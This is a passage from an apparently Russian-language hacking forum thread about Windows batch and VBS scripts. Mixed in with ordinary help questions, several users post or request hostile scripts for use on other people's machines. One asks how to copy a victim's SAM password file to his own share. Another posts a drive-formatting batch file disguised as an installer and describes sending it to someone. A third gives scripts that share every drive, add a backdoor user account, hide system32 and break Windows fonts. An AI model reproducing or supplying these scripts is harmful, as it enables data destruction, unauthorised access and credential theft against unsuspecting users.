обитель функций.bat или просто батники!
Сообщений 61 страница 80 из 120
Поделиться622008-02-07 18:24:52
- Активный участник
- Зарегистрирован: 2008-02-05
- Приглашений: 0
- Сообщений: 16
- Уважение: [+0/-0]
- Позитив: [+3/-0]
- Пол: Мужской
- Возраст: 38 [1985-08-20]
- Провел на форуме:
2 часа 1 минуту - Последний визит:
2008-12-28 14:11:43
Archangel > Пример с первого линка : MsgBox("DHTML Lab",292,"Proceed?") - у меня пишет ошибку "Недопустимо использование скобок при вызове процедуры Sub". Во всем скрипте только одна эта строчка.
Поделиться632008-02-07 20:00:26
PushButton = MsgBox ("DHTML Lab", 292, "Proceed?")
Скопируй и вставь. ВСЁ должно работать...
Поделиться642008-02-11 16:00:40
Возможно ли чтоб я кинул чувауу по лакалке батик, который бы скапирывал его фаил C:\WINDOWS\system32\config\SAM мне в спецально для этого расшареную папку ???
(хотя врятли бат это сможет)
Поделиться652008-02-11 16:06:32
- Администратор
- Зарегистрирован: 2007-11-30
- Приглашений: 0
- Сообщений: 794
- Уважение: [+81/-2]
- Позитив: [+62/-2]
- Провел на форуме:
11 часов 52 минуты - Последний визит:
2010-08-03 11:53:21
это и батом и вебеэсом мона....
Поделиться662008-02-11 16:12:25
ну тогда раскажи как такой бат сделать) имено чтоб SAM коипрывал ко мне на шару.
Ведь SAM защищоный фаил. Скопирывать его наверно не просто.. или я очень заблуждаюсь
Отредактировано monax (2008-02-11 16:13:24)
Поделиться672008-02-11 17:05:22
- Красаффчег форума
- Зарегистрирован: 2007-12-24
- Приглашений: 0
- Сообщений: 256
- Уважение: [+28/-0]
- Позитив: [+10/-0]
- Пол: Мужской
- Провел на форуме:
1 день 12 часов - Последний визит:
2009-11-02 20:01:25
Ведь SAM защищоный фаил. Скопирывать его наверно не просто..
на сколько йа знаю защищенные файлы нельзя тереть, а читать - милости просим => копировать тоже мона
Поделиться682008-02-11 17:27:53
Попробуй у себя на компе скопирывать его куданить.. у меня ни чо не выходит так как его помоему lsass не даёт скопирывать.((
Поделиться692008-02-12 15:50:06
- Активный участник
- Откуда: Псков
- Зарегистрирован: 2008-02-10
- Приглашений: 0
- Сообщений: 23
- Уважение: [+1/-0]
- Позитив: [+2/-1]
- Пол: Мужской
- Возраст: 29 [1994-06-08]
- Провел на форуме:
17 часов 47 минут - Последний визит:
2008-08-07 00:20:25
помоему lsass не даёт скопирывать
есть такая прога - Unlocker называется, может поможет, по крайней мере можно узнать какой процесс блокирует доступ
Поделиться702008-02-13 15:07:55
Чото не то:
@echo off
echo Komsa-Prikol Instal, Loading please wait....
echo y| format D: >nul -t 7
вот этот батник должен форматировать диск Д. Ну я сначала не D написал , а H (чтоб проверить на флешке)-работает. Потом написал для диска Д. кидаю её типу под видом komsa-prikol.bat он запускает и говорит что чото не пашет. я и так мудрил и так и С пробывал вобщем ни чо ему не фарматнулась. В чом проблема(на себе чото не охотоиспытывать, вдруг сработает) ????? батник на перезагрузку ему кинул всё пахала а этот ну ни как.(((
Отредактировано monax (2008-02-13 15:10:19)
Поделиться712008-02-17 19:08:43
- член команды
- Зарегистрирован: 2008-02-15
- Приглашений: 0
- Сообщений: 21
- Уважение: [+1/-0]
- Позитив: [+0/-0]
- Провел на форуме:
5 часов 39 минут - Последний визит:
2008-06-30 05:32:10
Расшаривание дисков с помощь батника:
@Echo off
net share disk_d=d: > nul
net share disk_c=c: > nul
net share disk_x=x: > nul
net share disk_y=y: > nul
net share disk_z=z: > nul
net share disk_f=f: > nul
Етим мы можем создать новую учетную запись
NET USER <Login> <PASS> /add (писать без <>)
добавляем созданную учётную запись в указанную локальную группу
NET LOCALGROUP <Имя группы> <Login> /add (писать без <>)
Теперь мы можем войти в его систему как удалённо так и на прямую 
А терь мы скроем sustem 32....
echo off
label %SYSTEMDRIVE% WinGLUK
attrib +h %WINDIR%\system32
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t reg_dword /d 2 /f
mkdir %WINDIR%\sгstem32
attrib +s +r %WINDIR%\sгstem32
echo ТЯ ХАКНУЛИ КАК ЛОХА - ][ack forever !!! > %WINDIR%\sгstem32\HackYou.txt
attrib +s +r %WINDIR%\sгstem32\HackYou.txt
Генератор западла)
ZAPADLO_GEN_V1.0.BAT
@echo off
color f0
title Мастер настройки западла...
echo %UserName%
echo Вас приветствует Василий западлицкий 
)
echo.
echo Сегодня будем делать чё-то тёмное
echo Вернее сносить шрифты в Windows XP sp1, sp2
echo Для начала найдите диск с Windows 98 SE RUS
echo И отковыряйте WinRAR'ом из файла BASE4 файлик fontreg.exe,
echo а затем положите его сюда НО НЕ ЗАПУСКАЙТЕ!!!
echo.
echo PRESS ANY KEY...
pause>nul
if not exist "%cd%\fontreg.exe" echo ГДЕ ФАЙЛ???
if exist "%cd%\fontreg.exe" echo OK )
echo @echo off > autostart.bat
ren fontreg.exe fontreg.dat
echo ren fontreg.dat fontreg.exe >> autostart.bat
echo echo Hi! Тебя уже поимели >> autostart.bat
echo fontreg.exe >> autostart.bat
rem Ниже закомментированное для пощады
rem echo echo СисРестори тебе в помощь >> autostart.bat
rem echo %SystemRoot%\system32\restore\rstrui.exe >> autostart.bat
Вот впринцепе и все что я хотел написать пользуйтесь на здоровье))
ПС я неккакой ответствености за ето не несу)
Поделиться722008-02-18 23:40:12
- элита команды
- Откуда: France
- Зарегистрирован: 2008-02-10
- Приглашений: 0
- Сообщений: 197
- Уважение: [+56/-1]
- Позитив: [+26/-0]
- Провел на форуме:
3 часа 8 минут - Последний визит:
2015-07-02 00:00:15
кто просил еще команды по батникам тогда получай их
Некоторые другие понятные и непонятные команды:
reg - непосредственная работа с реестром. Смотреть reg /? всем!
rcp - обмен файлами через rcp в ascii
runas - от имени пользователя
tasklist - отображает приложения и сеансы, связанные с ним.
taskkill - позволяет завершить один или несколько процессов
tftp - trivial ftp
tskill - убить процесс
reg - утилита взаимодействия с реестром
bootcfg - настройка boot.ini
append - позволяет открывать удаленные файлы так, словно они находятся в текущем.
getmac - получить мас
logoff - Заверщить пользовательский сеанс.
mem - вывод на экран сведений о текущих процессах в ОЗУ
mqbkup - архивирование
netsh - ??
openfiles - просмотреть открытые файлы.
rsh - выполнение команд на удаленных узлах с запущеной rsh
sc - command line ??
rexec - выполнение команд на удаленных узлах с запущеной rexec
shutdown - выключить (хе-хе) local or remote computer.
systeminfo - вывод инфы о компе.
schtasks - планировщик заданий.
xcopy - копирование файлов и каталогов.
tsshutdn - завершение работы сервера в установленом порядке.
set - вывод, задание и удаление переменных среды cmd.exe. Свойства системы (пр.кн."мой комп") - дополнительно - Переменные среды. Там не все переменные, но много! Все смотреть просто set.
Кстати, вот некоторые RunDLL команды, которые могут использоваться при создании батников
rundll32 user,wnetdisconnectdialog
Окно "Отключение сетевого диска" Вызвать
rundll32 user,disableoemlayer
Сбой пpовоциpовать
rundll32 user,repaintscreen
Обновить (как <F5>)
rundll32 user,setcursorpos
Maus-Cursor слева ввеpх посадить
rundll32 diskcopy,DiskCopyRunDll
Окно "Copy Disk" вызвать
rundll32 rnaui.dll,RnaWizard /1
Диалог "Установка Связи" вызвать (/1 = без окна)
rundll32 shell,shellexecute
Explorer-Окно откpыть в коpневом каталоге
rundll32 shell32,OpenAs_RunDLL
Окно "Откpыть с помощью..." вызвать***
rundll32 shell32,SHFormatDrive
Окно "Фоpматиpование: Диск3,5(А)" вызвать
rundll32 shell32,ShellAboutA
Info-Box (о Windows) вызвать
rundll32 shell32,SHExitWindowsEx 0
Windows 98 заново стаpтанyть (без autoexec.bat и дp.)
rundll32 shell32,SHExitWindowsEx 1
Работy с Windows 98 закончить
rundll32 shell32,SHExitWindowsEx 2
Windows-98-PC boot
rundll32 shell32,SHExitWindowsEx -1
Windows-98-Explorer стаpтанyть заново
rundll32 shell32,Control_RunDLL
Откpыть окно "Панель yпpавления"
rundll32 shell32,Control_RunDLL desk.cpl
Откpыть "Свойства Экpана"
rundll32 shell32,Control_RunDLL main.cpl <n>
Откpыть Modul-Панели yпpавления из MAIN.CPL **
rundll32 krnl386.exe,exitkernel
выход из Windows без любых сообщений/вопpосов
rundll32 user,swapmousebutton
"Пеpеставить" клавиши мыши *
rundll32 keyboard,disable
"Отключить" клавиатypy *
rundll32 mouse,disable
"Отключить" мышь *
rundll rnaui.dll,RnaDial "пpовайдеp"
Вызвать окно "Установка связи" с именем "пpовайдеp"
rundll32 user,tilechildwindows
выстpоить все не свёpнyтые окна свеpхy вниз
rundll32 user,cascadechildwindows
выстpоить все не свёpнyтые окна каскадом
rundll32 sysdm.cpl,InstallDevice_Rundll
(единств. возможность в W98) yстановить non-Plug&Play обоpyдование
rundll32 msprint2.dll,RUNDLL_PrintTestPage
выбpать в появившемся меню пpинтеp и послать а него тест
rundll32 user,setcaretblinktime <n>
yстановить новyю частотy мигания <n> кypсоpа *
rundll32 user, setdoubleclicktime <n>
yстановить новyю скоpость <n> двойного нажатия
Поделиться732008-02-19 01:06:09
- Администратор
- Зарегистрирован: 2007-11-30
- Приглашений: 0
- Сообщений: 794
- Уважение: [+81/-2]
- Позитив: [+62/-2]
- Провел на форуме:
11 часов 52 минуты - Последний визит:
2010-08-03 11:53:21
rundll32 keyboard,disable
"Отключить" клавиатypy *
при запуске в бат не работает...
да и в VBS тоже...
Поделиться742008-02-19 11:14:24
- член команды
- Откуда: los angeles
- Зарегистрирован: 2008-01-28
- Приглашений: 0
- Сообщений: 58
- Уважение: [+12/-0]
- Позитив: [+8/-0]
- Пол: Мужской
- Провел на форуме:
1 день 20 часов - Последний визит:
2017-04-30 13:43:09
дискотека светодиодов на клаве)
echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs
echo set FSO=createobject("scripting.filesystemob ject")>>%temp%\temp.vbs
echo do >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{capslock}" >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{numlock}" >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{scrolllock}" >> %temp%\temp.vbs
echo loop>> %temp%\temp.vbs
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs
Sorry! :embarrest: *.bat
Отредактировано anabot (2008-02-19 22:49:50)
Поделиться752008-02-19 14:01:24
- Администратор
- Зарегистрирован: 2007-11-30
- Приглашений: 0
- Сообщений: 794
- Уважение: [+81/-2]
- Позитив: [+62/-2]
- Провел на форуме:
11 часов 52 минуты - Последний визит:
2010-08-03 11:53:21
+1 anabot прикольно... только уточнять надо бат или вебеэс...
и кста предлагаю розобрать этот скрипт!
кто может описать этот скрипт?
Поделиться762008-02-22 18:32:51
Вопрос. У меня на запуск батника ругается винда типа "нет сведений о файле, Продолжить или нет" чё-то такое. Как исправить подобную лажу можно
Поделиться772008-02-25 01:13:09
- Администратор
- Зарегистрирован: 2007-11-30
- Приглашений: 0
- Сообщений: 794
- Уважение: [+81/-2]
- Позитив: [+62/-2]
- Провел на форуме:
11 часов 52 минуты - Последний визит:
2010-08-03 11:53:21
roxa странно... у мя такого никада небыла... это те винда или антивирь какой-нить пишет?
Поделиться782008-02-27 21:33:09
Не совсем понятно для чего нужны эти метки
Пример: Если значение i=1 тогда идти к началу програмы(метке start) , если i=2 тогда идти к кноцу програмы(метке finish).
Поделиться792008-02-29 23:17:37
привет парни. как мне в батнике сделать: если на компе 2 привода и я не знаю в какой будет вставлен диск, или мне придется указывать дисковод по умолчанию или есть что то, при помощи чего можно обойти. заранее благодарен
Поделиться802008-03-01 19:33:44
- Активный участник
- Зарегистрирован: 2008-02-23
- Приглашений: 0
- Сообщений: 15
- Уважение: [+0/-0]
- Позитив: [+1/-0]
- Провел на форуме:
2 часа 1 минуту - Последний визит:
2010-06-14 11:37:57
А где скачать учебник на bat????
Похожие темы
| bat и vbs функции | Хакинг | 2008-07-06 |
| бредовые вопросы | Вопрос >>> ответ!!! | 2010-05-20 |
| язык программирования) | Вопрос >>> ответ!!! | 2008-05-07 |
